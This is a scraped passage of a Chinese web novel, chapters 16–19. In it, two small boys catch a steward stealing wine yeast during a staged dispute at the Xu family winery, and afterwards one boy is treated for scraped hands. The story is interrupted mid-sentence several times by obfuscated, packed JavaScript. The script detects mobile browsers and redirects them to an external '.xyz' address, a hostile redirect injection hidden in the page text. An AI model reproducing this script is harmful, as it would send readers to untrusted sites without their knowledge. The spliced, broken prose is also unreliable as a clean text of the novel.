许慕看着沈小安那高兴雀跃的模样,没忍住,弯腰,抬起手,轻轻刮过小哥儿的小奶膘,笑道:“我让人同你娘亲说一声,若你娘亲同意,我便带你一同去。” “嗯嗯。”沈小安连连点头。 许慕让身边贴身伺候的人随沈竹一道去了沈宅,沈小安这时候也拉着许温说着自己这两日如何用功学习。 “安安,你竟然在学习认字了?”许温大惊。 “我以后可是要有大学问的。”沈小安扬起下巴,颇为自得道:“不过是小小学习,算什么。” 许温眯起眼,他觉得安安是在说大话。 沈小安见温哥儿神情,知道温哥儿不相信自己的话,想到答应爹爹事情,立马说道:“温哥儿,等以后我给你一个大惊喜。” “大惊喜?”许温好奇。 “嗯,温哥儿,你就等着看吧。”沈小安说的信心十足。 许温抿起唇:……行吧。 此时,正在书院的裴清珩,看似听着台上夫子讲话,可那思绪却是想着其它。 上辈子被何广杰买通的人,如今先一步被他买通,前日他从许如璋口中得知今日许慕会去酒坊,眼下算算时间,他准备的好戏也是该开始了。 如裴清珩所想,许家酒坊如今正围着一群人。 “许家酒坊的酒有问题,可怜我弟喝坏了身体,吐了二日,如今才算清明过来。我不过是前来讨要一个说法,没想到许家酒坊竟是这般不讲理,想将我等轰出去,还说我们是故意前来讹钱,欺负老百姓啊!” 为首的男子,穿着粗布麻衣,上面还打了两块补丁,说到中间,看着躺在架子上,干瘦的男子,竟是哭了出来。 立马引的周围百姓围拢了过来,你一句我一言的议论起来。 “哎呦喂,造孽啊,怎就把人喝成这样了。” “我昨日刚给我男人买了他家的酒,可别是出什么问题了。” 百姓讨论的激烈,那男人闻声哭的更是可伶。 许慕下了马车,正好遇到这场景,他对他的酒有信心,这种同行恶意竞争也不是没有过,立马明白了过来,让人先将两个小孩从后门带入酒坊,自己从容的走了过去。 此时,管事大声喊道:“大家安静,请听我一言。” 周围人安静了,管事的看向男子,面上带着笑,瞧不出任何的气愤,开口道:“兄台,你小弟吃坏了肚子,这事并没有确定是因许家酒坊的酒引起。我许家酒坊在南竹县已有百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男子听到周边人的话,冷笑一声,报官,他可是巴不得报官。他收了何家十两银子,就是要将许家酒坊闹到县令那边去,不过是戏要做全了,免得被人看出了破绽。 “好,那就如你所说,报官。”男子红着一双眼,像是收了什么天大的冤屈。 16. 第 16 章 此刻,酒坊后院。 沈小安和许温被人带着从后门进去,两人对外头的事情很好奇,但奈何许慕叮嘱了许连,让他好生看着他们,别让他们乱跑。 但是,这事难得住他安安吗? 沈小安一双手可怜兮兮的抱着自己肚子,委屈巴巴的朝许连看去,“许连,安安好饿啊,出门太急,忘了用早膳,能不能给安安拿点小点心啊?” 听到这话,许温目光一动,一把拉住沈小安的手,关切道:“安安怎么没吃早膳,那岂不是要饿晕过去了。” 两个小奶娃在某些时候十分默契。 许连不是沈家下人,没有经历过被沈小安装可怜忽悠的事情,就以为沈小公子真饿了,叮嘱了二人让他们在屋子里待着,他就出去给他们拿吃的。 然后…… 沈小安拉着温哥儿的手,就这么从屋子里跑了出去。 许温看向沈小安,夸赞道:“安安,还是你机灵。” “那是。”沈小安得意了,就说他安安可聪明了。 路上,许温捡到了一根类似擀面杖的树枝,将上面的叶子拔掉,算是粗糙版木棍,拿起来,抡了两圈,觉得还凑活,直接带上。 “温哥儿,你是准备去打架吗?”沈小安好奇问道。 “不,我是要去保护我小爹。”许温握紧拳头,他小爹嫁人了不能像未出阁那般揍人了,但他还小,他能揍人! 沈小安朝四周张望起来,也想捡一根这样的木棍,到时候能帮温哥儿一起保护许小叔。 可惜,好木棍只有一根,只能失望的和许温一起往前走去。 沈小安抬腿跨过台阶,转过头正要问温哥儿往哪个方向走,左边身子就这么直接被撞上了,哎呦一声,一屁股坐到了地上。 许温因为站在沈小安的右边,并没有被直接撞上,只是踉跄了一下,抬头,就看见撞倒安安的男人手里抱着的麻布袋掉落在了地上,从里头滚出了好几块米色块状东西。当看清这东西为何物,瞳孔瞬间一缩。 男子压根没去在意被他撞到的两个小孩,手忙脚乱的将掉出来的东西捡起来塞回麻布袋中,就准备离开这里。 被撞到在地,沈小安只感觉自己屁股好疼,手掌也好疼,抬起手来,就看到自己两只手的掌心都被磨破皮了,左手的手心还被尖锐的石子给划破了一道口子,伤口正朝外流着血。 沈小安神色瞬间惊恐,一双杏眼立马蓄起了两泡眼泪,眼眶通红,要哭不哭的模样,实在惹人心疼。 他,他,他竟然流血了! 呜呜呜~~他听说书人说过,那些个英雄流血之后就会死了,所以他是不是要死了。 他才只有四岁啊,他不要死,他不要离开爹娘,不要离开哥哥。 沈小安终归没憋住,眼泪顺着脸颊流了下来。 而在沈小安为自己的死感到悲伤的时候,许温拎起木棍,咬牙,冲上去,就朝男子后背狠狠来了一棍子。 “哪里来的小偷,竟然敢偷我家酒曲,吃我一棒!” 男子就见自己撞到了个小孩,也没看是谁,满心满眼就是掉落在地上的酒曲。完全没想到有小孩竟然敢朝他打去,根本没提防,就这么一棍子,直接被打趴在了地上,头磕到了地上,磕出了血。 也是许温天生力气大,四岁哥儿的力气不亚于十岁少年,知道有人来偷自家的东西,更是使出了吃奶得劲。 沈小安瞬间被许温闹出的动静吸引住了目光,眼泪戛然而止。见许温说这人偷东西,也不顾自己手疼,要死了,立马站起来,跑到许温身边,喊道:“温哥儿,我来帮你!” 说完,沈小安握紧拳头,就准备到时候和许温一同打过去,绝对不能让温哥儿一个人面对。 “哪里来的小鬼头。”男子语气充满恶意。 男子捂着受伤的额头,站起身来,转过身,在看清那张举着木棍的脸,一瞬间面如死灰。 “小,小公子?” 许温也看清了男子的面容,顿时惊讶出声,“罗管事?”视线又落向这人手里拿着的东西,目光一凛,大声质问道:“你为何要偷拿酒曲!” “不,我,我没偷。”罗管事本能的辩解道:“我是给许大管事送过去。” “你骗人,许管事不可能问你要东西。”沈小安立马反驳道,许管事可还在前头和许小叔一起,这人明显在骗人。 “就是!许管事和我小爹一起,不可能问你要东西。”许温也跟着反驳道。 罗管事心下暗骂今日当家的怎么将他哥儿也一并带来了,不然他早就成功的趁乱将酒曲偷了出去,有了那些钱,他也不用在那破哥儿手里伏低做小了。 只是没想到,他这么倒霉,竟然被这两孩子碰到。 一瞬间,各种阴暗的心思从脑海中浮现。 “小公子,我可没骗你。”罗管事敛下心神,想着不过是一个孩子,算不得什么,再次着急催促道:“你可快让我过去,前头不是有人吃酒吃坏了肚子,来闹事,我这不就是将酒曲送过去,好去证明。” 许温和沈小安双双眯眼无语:骗小孩的吧。 “证明需要带这么多?”许温目光朝那装着鼓鼓的麻布袋看去,“而且带酒曲做什么?不是应该带酒吗?” 沈小安眼珠子一转,“我们便是从前面过来的,根本没听到说要酒曲,许管事一直陪在许小叔身边,你分明是在胡说八道。”说完,高高扬起下巴,一张小脸上写满了你当我们傻啊! 罗管事没想到这小孩子还知道反驳,一双眼忽然眯起,里头流露出几分凶光,语调隐隐之中带着威胁的意味,“我怎么会骗你,你们先让开,让我过去,稍后当家的会跟你们说清楚,可不能耽误事了。” 那闹事的就是何管家安排的,就是为了能让他顺利将酒曲送出去。 他可没有时间再跟这两个孩子浪费了,这事他都已经做了,只能硬着头皮做到底! “让开。”罗管事沉声呵斥道,眸光阴冷的看向眼前两个小孩,若再闹下去,他就把只能将这两孩子绑了,扔去一旁。反正等他拿到何管家答应给他的一百两银子,去哪里不能安家。 若是他们再不识相,也不是不可以…… 许温对上罗管事的目光,稚嫩的脸上充满不屑,捏紧手中木棍,“想拿我小爹的酒曲走人,打过我再说。” “哼!有我安安在,你别想逃。”说着沈小安就蹲了下来,看似像在害怕,实则右手偷偷往旁边抓了一把土。 哥哥同他说过,遇到坏人不管什么手段,能保护好自己最重要。娘亲也从小教育他若是遇到郎君欺负他,就踹他下面,若是周边有什么方便拿取的东西就朝对方眼睛扔过去,让他看不见。 只是,当右手的伤口触碰到泥头的时候,刺拉拉的疼痛,瞬间让沈小安红了眼眶,想起了自己流血马上就要死的事情,双唇紧紧抿住,不让自己没有志气的哭出来。 他沈小安就算要死了,他也要帮温哥儿赶走坏人。 爹爹说过,死有重重大山,也有轻轻羽毛。 他要当重重的大山! “小贼,看招!”沈小安大喊一声,随即用力将手中的泥土朝对方眼睛扔过去,一个猛子,就要朝人撞去。 罗管事没料到这小哥儿竟然有勇气向他冲来,即便罗管事身高不高,奈何沈小安太矮了,所有的泥土不是掉在衣领里,就是完全没撒中,掉落在空中,一点都没用上。 沈小安想将人撞到,却没想到被罗管事轻松躲开了,反而自己摔在了地上,本就受伤的手二度受伤,连地面都被划出一道浅浅的血痕。 瞬间,沈小安就控制不住眼泪,脸颊上爬上两道泪痕。只是贝齿紧咬住下唇,不让自己发出声音,怕让坏人知道自己弱小。 罗管事狠狠的瞪向沈小安,该死的小孩。 沈小安抬头,就见一双恶狠狠的瞪向他的眼睛,一瞬间,有些傻住了。 害怕、恐惧、不安齐齐爬上心头。 “想打我?”罗管事嘴角轻蔑,眼里凶狠,抬步就朝沈小安走去。 沈小安回过神,就见温哥儿拿着木棍正朝罗管事小心走去,立马明白过来,知道自己应该给温哥儿找机会,强忍下心中害怕,故作不屑说道:“哼,打得就是你这种坏人,偷东西,不要脸,要被县太爷打板子!” “呵,小屁孩,还是想想你自己吧。”罗管事放下手中的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702567|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,手指互相动作,发出咔咔声音。 沈小安忍着恐惧,摇晃着身体站起来,一双小手害怕的握紧成拳,但脚步却未因为胆怯而向后退去,“你……你要是敢欺负我,我爹爹和娘亲,还有哥哥都不会放过你的!” 罗管事目露轻蔑,到时候他都不在南竹县,谁还怕那沈慕风。 看着小娃娃面对他恐惧却强忍的目光,这一刻,罗管事心中只觉畅快不已。 这些人看不起他,可他们的孩子如今却在恐惧着他。 许温知道自己年纪小,即便力气大,可面对成年男子胜算并没有多少。方才能打中,不过是因为仗着罗管事没有看到,如今必须找准机会一击必中。 刚看到安安冲过去,他想拉住人已经来不及了,只能趁着罗管事被安安吸引目光的机会,将人打趴下。 他不能浪费安安给自己找来的机会。 如此想着,握着木棍的小手更紧了。 而就在罗管事想抬手向安安打去的那一刻,他知道机会来了。 沈小安在罗管事向他挥拳过来的同时,看到了抡起木棍发起攻击的温哥儿,咬牙压下心中的害怕,他必须要跟温哥儿一起打败坏人。 心一横,眼一闭,头直直的朝某个位置狠狠撞去。 就是这么恰好。 因为沈小安个头小,罗管事要打人必定要弯腰,给了沈小安方便,头顶直接暴击红心。 也是这一瞬,许温一个猛冲,抡起木棍,狠狠打在罗管事的膝盖处。 “啊!”罗管事刚感受自己某处传来强烈的疼痛,惨叫声刚落,膝盖又被打中,一个猛补,直接跪倒在地。 许温知道揍人得一鼓作气,趁着人跪倒下去的时候,再次抡起木棍朝人后背狠狠打下去,直接就将人打趴在了地上,痛呼出声。 “找死!”罗管事发狠,不知是气愤还是因为过于疼痛,一双眼都泛起了血丝,坐起身来,转身就准备挥手朝许温打去。 许温见状,抡起木棍打去,没想到罗管事抬起双手,直接用胳膊挡住了。 许温心叫不好,正准备撤回,重新抡起木棍打去,没想到就见对面之人,忽然面色狰狞,发出一声凄厉的惨叫。 许温目光垂落,就见沈小安的小脚丫正放在某个三角位置。 “哼!”沈小安神气了,怪不得娘亲说打男人就要往下面打,果然有用! “我要宰了你。”罗管事眼珠子暴起,双眼充血,狠狠地看向沈小安,抬手,抓住沈小安头顶的小揪揪。 沈小安被人抓住头顶小揪揪,不自觉的痛呼出声。 许温见状,立马上去,一棍子敲在了罗管事的额头。 可因为之前耗费了太多力气,这一棍子只有最开始的五成力。但因为罗管事先前额头就磕出了伤口,如今又是一棍子,眼前不由一晕,抓着沈小安的手下意识的松开。 许温见沈小安跌落在了地上,忙问道:“安安,你没事吧!” “我没事,温哥儿,冲呀!”沈小安喊道。 许温明白,趁着人还在眩晕中,立马一棍子将人打趴在地,一屁股坐人胸口上,木棍横着压在了罗管事脖颈处,让人不敢动作。 这一套行云流水的动作,直接就将沈小安看傻了。 “温……温哥儿,你……你莫不是拜大侠了?” 就像话本子里头,刷刷刷几下就能把人打倒的大侠。 听到沈小安的话,许温粗喘了几口气,转过头朝沈小安得意一笑,“拜大侠?我是要去当大侠!” 细碎的阳光落在许温身上,因为动作激烈,脑后的发髻早就有些散开,额前细碎的发丝胡乱拍打在他脸上,却挡不住那双明亮的眼眸。 沈小安刚想说,他也要去当大侠,一道惊呼声忽然从另一边传来。 “小公子,你们怎么了!” 沈小安和许温齐齐转头看去,见是许连,二人立马大喊道。 许温:“许连,这人偷酒曲,被我们打趴下了!” 沈小安:“许连,快报官!这人偷东西!打小孩!不要脸!” 罗管事也顾不及身上的痛楚,连忙大声喊道:“误会,这都是误会。” 17. 第 17 章 许连本来将点心送过去,不曾想两个小公子竟然不见了,连忙喊了两个人,着急寻起人,就听到这边有声音传来,没想到竟是看到这个画面。 看到地上的酒曲,许连还有什么不明白。 因为前面闹事,酒坊的护卫都去了前面,酿酒的工人都待在酿酒屋子里不出来这后院就没有人了,倒真是偷东西的好时候。 就不知,这两桩事是否有关系。 许连走过去,许温小身子立马往旁边挪开,走开的瞬间,还十分坏心眼的踩过某人的手,听到一声闷哼声,还特地倒回去一步,蹦跶了下,这才满意。 许连只当没看家自家小公子的动作,无视了罗管事额前的血迹。 罗管家见许连过来了,忙开口,“你快点帮我叫个大夫,我下……” 只是罗管家话还没说完,就被许连掏出一块手帕堵住了嘴,自个身上的腰带还被人抽了出来,绑住了手脚。 做完一切,许连冷冷瞥了罗管家一眼,下什么?当着小孩的面瞎说什么。 许连视线落在眼前衣服脏兮兮的两个小哥儿,关切询问道:“两位公子是否有受伤?” 听到这话,沈小安激动褪去,感受到自己掌心传来的痛感,想起了自己流血了,要死了,啪嗒一下重新跌落到了地上。 许温见沈小安啪嗒一下坐在了地上,双眼无神的看着前方,衣袖上竟然还带了点血迹,立马走过去,焦急的将双手搭在沈小安肩膀上,询问道:“安安,是不是刚才摔跤摔疼了,告诉我是哪里疼了?” 沈小安两眼泪汪汪看向许温,“温哥儿,安安马上就要死了,你不要为安安伤心。”说到这里,沈小安目光瞬间变得十分认真,语气都加重了几分,“但要记得每月初一十五要给安安烧好吃的,不然安安在下面会饿的。” 说完,沈小安控制不住情绪,哇的一声哭了出来。 “安安打坏人而死,所以安安的死是重重大山。温哥儿,别担心,没事哒,十八年后,安安又是一条好汉!” 也不知道是安抚温哥儿,还是在安慰自己。 沈小安哭的一抽一抽的,一张脸都哭的泛起了红。 许温一把抱住沈小安,也嚎啕大哭了起来,“安安别死啊,我们要一起长大,我还想要当话本子里头的大侠,带着你一起去行侠仗义。我还让爹爹请人教我武功,想着以后你哥哥欺负你,我就帮你揍他,哇~” 真实被揍的很惨的罗管事:不是,被打了棍子的是他,额头出血的也是他,被踩了那地方的也是他,他感觉自己骨头都断了,要死的也该是他啊,这两小孩到底在哭什么啊! “哥哥是好人,不欺负安安的。”沈小安听到温哥儿说哥哥会欺负他,边哭边还不忘给自己哥哥叫屈道。 许连不清楚事情,就见两个小孩哭的这么惨,其中一个人衣服上还有血迹,不免慌乱了起来。但见沈小安就衣袖上有一小点血迹,裸露在外面的皮肤也不见有什么伤口,劝服自己冷静,忙朝后头的人吩咐道:“你将罗富带去给夫郎,就说两位公子看见他偷窃酒曲,沈小公子还受了伤,我送沈小公子去医馆看大夫。” 说完,许连又看向嚎啕大哭的小孩,柔声安慰道:“两位公子,不要怕,我们这就去医馆,看看大夫如何说,可莫要哭坏了身体。” 沈小安抬头朝许连看去,颤巍巍的将自己一双受伤的小手伸过去,“没用的,安安流血了,安安马上就要死了,来不及看大夫了。” 许连:……谁告诉沈小公子,流血就要死了? 许温看到安安被磨破皮的掌心,尤其是左手手心还被石子划破了,鲜血从伤口流出来,染红了一片,眼睛更红了,双手捧住沈小安手上的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702568|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,边哭边喊道:“安安,你怎么被划伤了,还流血了,都是我没保护好你,我太没用了!” 许连:……小公子,原来你不知道人受伤,那你还抱着人让人不要死。 许连叹气,带娃不易。 另一边,许慕正准备带着闹事的两个去衙门,到时候让县令请大夫,以示公允,却没想到面前忽然出现了人。 “当家,罗管事偷窃酒曲出去,被两位小公子撞见,许连让我将人带给你。” 许慕看了眼被绑住的罗管事,再看了一眼听到话后面色有一瞬僵住的男子,还有什么不明白的,沉声道:“那就一起带去衙门。” 闹事的男子听到许慕的话,神色又是一变,大声说道:“许当家,既然你们酒坊出了事情,先处理好你们自己酒坊的事,我这边不如先请大夫给我弟弟看看。” “兄台这不是刚好,免得再打扰县大人一次。”许慕温和笑道,随即眸光一凛,“还是说,兄台胆怯不成?” 男子一噎,又听到围观的百姓的窃窃私语,手握紧一瞬再放开,神色又成了之前的目中无人,“既然许当家不领情,那就去吧。” 带着罗富的男子这时又开口道:“当家,还有一事,为了抓住罗管家,沈小公子受了点伤,许连带两位公子一起去医馆。” “安哥儿受伤了?”许慕眉头紧蹙,目光冷厉的朝罗富看去。 罗富听到这话,感受到许慕眼里的冷意,心下一咯噔,想说话,奈何嘴巴被堵住,根本说不了话。 许慕转头朝许大管事吩咐道:“你让人去沈宅通知沈夫人,安哥儿受伤去了医馆,等我去衙门处理好事情,定会上门致歉。” “是,当家。”许大管事应道。 罗富见许慕根本不理他,明白这事根本不可能有回转可能。 瞬间,面如死灰。 18. 第 18 章 另一边。 沈小安被许连带着去了医馆,听大夫说自己只是破了皮,不会死,两眼瞪得老大,不敢置信的看了眼自己受伤的手,又看向大夫。 “大夫爷爷,真的不会死吗?我听说书的说那些大侠,说到流血了马上就死翘翘了,你不能因为我是小孩,就骗小孩。骗小孩,很可耻的!”沈小安扬起下巴,努力将自己弄得有气势些。 一旁的许连:…… 沈小公子这话说的真的是闻所未闻。 大夫也被这话给逗笑了,没忍住笑出声来,“小娃娃,爷爷没骗你哦,说书的说大侠会死是因为人家受了致命伤,而你不过是磨破了皮,一只手被石子划破了,只要每天换药,不要碰水,没几日就会好了。” “真的,没几日就会好了吗?”沈小安有些不敢想象,想起了什么,连忙板起一张小脸,但因为表情幅度忽然一变动,连带着小奶膘也抖了下,没有他想象的严肃,只剩下旁人眼里的可爱了。 “爷爷,你不能骗我哦,如果我死翘翘了,我就来找你,要你养我。”沈小安瞪着一双杏眼,煞有其事道。 大夫面上的笑意更甚,“好,如果你真的有事了,爷爷养你!” “安安呀,不用死不是很好,你为什么要觉得大夫爷爷在骗你?”许温好奇问道。 沈小安转头,小眉头有些生气的皱起,警惕的看了看围在自己身边的两个大人,凑到许温旁边,小声说道:“过年的时候,娘亲给我买了好多吃的,爹爹说要给我种起来,说只要我每日浇水,它们就会发芽长大,会结出好多好吃的小点心。” “可是!我后面才知道,爹爹早就将娘亲给我买的那些好吃的都吃了,我每日浇水的就是很普通的种子。所以大人有时候好坏的,就是欺负我们小孩不懂。” 许温眉头皱起,为沈小安打抱不平道:“啊,沈叔叔怎么这样欺负人。” “哼,我也不是好欺负的,我让娘亲罚爹爹写大字,吃胡萝卜,半个月都没有小点心吃。”沈小安语气充满骄傲,随即又很认真的看着许温,教育道:“所以,大人说话必须再三确认,不能让他们觉得我们小孩好忽悠。”沈小安说的一本正经。 虽然两个小孩有小声说话,但莫名还是听了个全的许连,满眼震惊。 原来温文尔雅的沈老板私底下竟然会如此逗弄自家小哥儿,和夫郎属实有的一拼。夫郎在少爷小时候,就爱逗弄少爷,说少爷一根筋,老古板,谁家哥儿娘子会受得了,也不知他为何生出一个小学究来,每次说道这里,若老爷在,夫郎就要连带把老爷也骂一顿。 而无辜被牵连怀疑的大夫,识趣的没有去说话,直接让药童将药拿来。 因为伤口触碰到了泥土,处理起来就会比较麻烦,小孩皮肤稚嫩,这痛感也比大人敏感许多 沈小安这时候也没心思想其他的,就觉得自己好可怜,更不敢去看自己那惨兮兮的双手,就怕没忍住哭出来,让人担心。 许温也察觉到沈小安的害怕,立马抱住沈小安,柔声安慰道:“安安不看啊,我们不看,不疼的,不要怕。等我回去,我去给安安出气。”说着,右手握紧成拳,就准备等回去了,他要将小爹给他买的木棍还有木剑都带上,再去揍罗管事一顿。 “温哥儿不出气,会受伤的。”沈小安吸了吸鼻子,温哥儿跟他一样才四岁,罗管事是大人,一对一,要受伤的。 “我可是要当大侠的,安安可看到了我先前将罗管事打趴下的样子。”许温得意道。 沈小安眨了眨眼,对哦,温哥儿好厉害的说,都把罗管事一个大人都打趴下了,不像他还受伤了,哭着说自己要死了,丢死人了。 “温哥儿,你怎么这么厉害。”沈小安崇拜的看向许温。 “安安也厉害!如果没有安安帮我吸引罗管事的注意力,顶的罗管事那一头,让他吃痛,我也不可能毫发无伤的打到人。”许温认真说道。 听到温哥儿夸自己,沈小安立马咧嘴笑开,“我厉害,温哥儿更厉害,会武功,能打坏人。” 听到安安说自己会武功,许温得意了,前些日子和安安出去之后,安安哥哥看上去也不太聪明,他就缠着小爹给他请了师父,教他武功。 他可是遗传了小爹的大力气,学了武以后,若安安哥哥没用,照顾不了安安,或者他欺负安安,他就可以帮安安揍人了。 安安可是他的弟弟,长的又那么软乎乎的,可可爱爱的,就算和他吵架,说起话来那也都是软软的,还会抱着他撒娇,比小爹给他买的布娃娃好看多了。 所以!他许温,绝对不允许有人欺负安安! 何况。 “安安,我未来可是要做大侠的,就是话本子里头很厉害很厉害的大侠!” “哇~安安知道,就是那种刷刷几下就能赶跑坏人,行侠仗义的大侠!” “是的。”许温傲娇点头,“就是那种很厉害的大侠。” “温哥儿,真厉害。”沈小安更崇拜了。 “必须的。”许温轻抬下巴,更得意了。 “温哥儿做大侠,那安安做什么?” “你就做大侠身边的红颜知己。” “红颜蜘蛛?” “是红颜知己。” “那是什么,好吃的吗?”沈小安砸吧了下嘴。 “那不是吃的,就是大侠身边长的好看的人。”许温想了想道。 “哇~温哥儿是夸安安好看吗?”沈小安开心了。 许温:……安安这个小文盲,又抓错重点了。 就在两个小娃娃一来一回之间,大夫眼疾手快速度上了药,包好了伤口。 然后…… “温哥儿,安安手里长出了大猪蹄哦。”沈小安举着自己那一双被纱布包裹着的手,很是奇特的对着许温展示道。 许温也对着这一对包裹严实的手感到好奇,“真的好像猪蹄哦,好大一只。” 许连听到两个小孩对话,有些无语又觉得好笑,看向大夫,询问道:“大夫,需要包成这样吗?” “幼童贪玩,为避免伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702569|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口感染二次受伤,包裹严实些好,而后每日换一次药,两日后右手伤口结痂就可简单包扎了,左手伤口较深,需要四五日后才可。” 大夫也是怕了小孩不懂事,玩耍间再次扯到伤口,还不如一开始包裹严实些。 “哦~”两个小孩齐齐点头,神情认真,看似明白,实则不懂。 “安安。” 门外传来的一道女声,瞬间吸引了所有人的注意。 沈小安看到自己娘亲出现,一瞬间被他忘记的伤痛顿时席卷上了心头,双眼立马又泛起红来,眼眶含泪,看着人,可怜兮兮的喊道:“娘亲。” 林青梧见到沈小安那红着一双眼,要哭不哭的模样,整个心都要碎了。 方才许家下人过来传话,她得知安安因为罗富受伤去了医馆,吓得就起了身,当即头就有些发晕,还好翠岚及时扶住了她。 她的安安小时候摔跤了,都得含着泪说好疼,撒娇喊着要抱抱,要人软声哄着,娇气的不得了。 如今竟然被人欺负的去了医馆,虽说只是掌心受伤,可她那娇气的哥儿不知道得有多疼,若非罗富被送去了官府,她非得派人去打那罗富一顿。 林青梧走过去,抱住沈小安,心疼的柔声安慰道;“安安别怕,娘亲来了,不哭啊~娘亲要心疼了。” 听到自己娘亲说心疼,沈小安立马用力将眼里的泪憋回去,一对小猪蹄,咳,一双小手捧住娘亲的面颊,奶声奶气道:“安安没哭哦,安安很勇敢的,娘亲不心疼。” 许温也走到林青梧面前,吹起了安安小彩虹屁,“林姨,安安前面好勇敢哦,受伤流血了,还帮我打坏人,吸引坏人注意力。摔倒在地也没哭,还安慰我说自己十八年后又是一名好汉,安安就是那重重大山。” 被夸的沈小安不好意思了,小脸颊爬上两坨红晕。 温哥儿说错了,他哭了,只是温哥儿没看到。 哎呀,算了,小小问题不能在意,他就是那重重大山! “没错,安安很勇敢,就像爹爹说的那样,安安是重重大山!”沈小安本来想握紧双拳,奈何发展受限,只得用力点了点头。 林青梧:……? 重重大山? “安安,什么是重重大山?” 娘亲提问,沈小安当然知无不言言无不尽,顺带在娘亲的带领下,还把事情一五一十的说了出来。 着重把自己和温哥儿如何勇敢,如何英勇对敌,如何将罗管事打趴下,说的仿佛成了话本子里头的大侠。 说完,沈小安满意的扬起小脸,得意一笑,“娘亲,安安和温哥儿都是重重大山,厉害的很!” 一旁听完了全程的许温,转过身子,闭了闭眼,不想承认自己被安安带进沟里了。 什么重重大山。 分明就是重于泰山,轻于鸿毛。 到了安安嘴里,竟然就成了重重大山。 安安这个小文盲! 还好意思说自己最近在学习了! 带他一起,丢死人了! 19. 第 19 章 林青梧哭笑不得,自家小哥儿这二次修改能力,也称的上是天赋了。 沈小安不明白,怎么他说完了,没有想象中的夸奖,反而温哥儿转过身子,娘亲和许连面上都带起了笑意。 他有说错什么了吗? 难不成,他们不认为自己是那重重大山,而是觉得自己其实是轻轻羽毛,明明他如此勇敢。 沈小安不开心了,一张嘴嘟的都能挂起东西来了。 “娘亲,难道你不觉得安安和温哥儿勇敢吗?难不成你觉得我们是那轻轻羽毛吗?”说完,沈小安又转头朝许温看去,“温哥儿,你方才还夸我,怎么现在却转过身子去,难不成你想反悔,不承认我勇敢了?” 林青梧见小哥儿嘟起了嘴,笑容都不见了,连忙笑着解释道:“安安,你当然是勇敢的,只是……不是重重大山,是重于泰山。原话是人固有一死,或重于泰山,或轻于鸿毛。” 沈小安愣住了,所以……他又丢人了? 啊! 沈小安埋头在林青梧怀里,不想面对了。 林青梧也不再说什么将人拢在怀里,控制自己不要笑出声来,免得再次打击自己哥儿。 哥儿面皮薄,可不能再说了,何况今日发生这种事情,也是被吓到了。 林青梧问了大夫要注意什么,要多少银子,一旁许连见状,立马说自己已付好了药钱,约好大夫每日上门去沈宅给沈小安换药。 林青梧也没拒绝,毕竟自家孩子是在别人地盘上受的伤。 “沈夫人,此事是我等照顾不周,让沈小公子遭遇此难。我家夫郎本想亲自送沈小公子来医馆,奈何需将人送去衙门请大人审理,稍后他定会上门致歉。” 林青梧看向人,“此事我已然知晓,想必那两人是被人给买通了,想借此机会偷盗酒曲,给许家酒坊添上污名,没想到被安安他们撞上了。你让慕哥儿将事处理好,安安不过只是小伤,让他无需挂念。” 酿酒最重要的便是酒曲,酒曲好酿的酒才好,想来是谁家看中了许慕家的手艺。 许家酒坊已有百年历史,期间这种事也不是没有发生过。 “林姨,小爹有事,我会过来照顾安安的。”许温连忙说道。 “好,那安安就拜托你。”林青梧慈爱的看向许温,笑道。 “包在我身上。”许温拍了拍胸膛。 林青梧看着许温,她知道慕哥儿喜欢安安,觉得安安好看,说话又软乎乎的,不像温哥儿那般大大咧咧,力大无穷,没个哥儿模样。可她倒是觉得温哥儿这样子很好,能保护自己,看着就让人放心不少,学东西也有耐性。不像她家哥儿,娇气,好动,鬼主意还多。 往日和温哥儿惹出祸来,一大半绝对是她家哥儿出的主意。 就仗着自己长得软萌,卖萌撒娇装可怜。 奈何,大家还真吃他这一套。 沈小安可不知道娘亲正在心里说他娇气,听到温哥儿要来照顾他,当即开心的忘记了自己出丑的事情,一把抱住温哥儿,软乎乎的撒娇道:“我就知道温哥儿最好啦~” “必须的,等我做大侠了,我带安安去浪迹江湖!”许温回抱住沈安。 “好呀好呀,安安就等温哥儿带安安一起浪迹江湖!”沈安连忙点头,即便心里压根不知道什么是浪迹江湖。 林青梧看着两个小哥儿感情好的抱在一起,笑容宠溺。 林青梧带沈小安回了沈宅,许温也想跟着去沈宅,奈何许温爹爹也听说这事,直接将他带回了许宅,询问起经过。 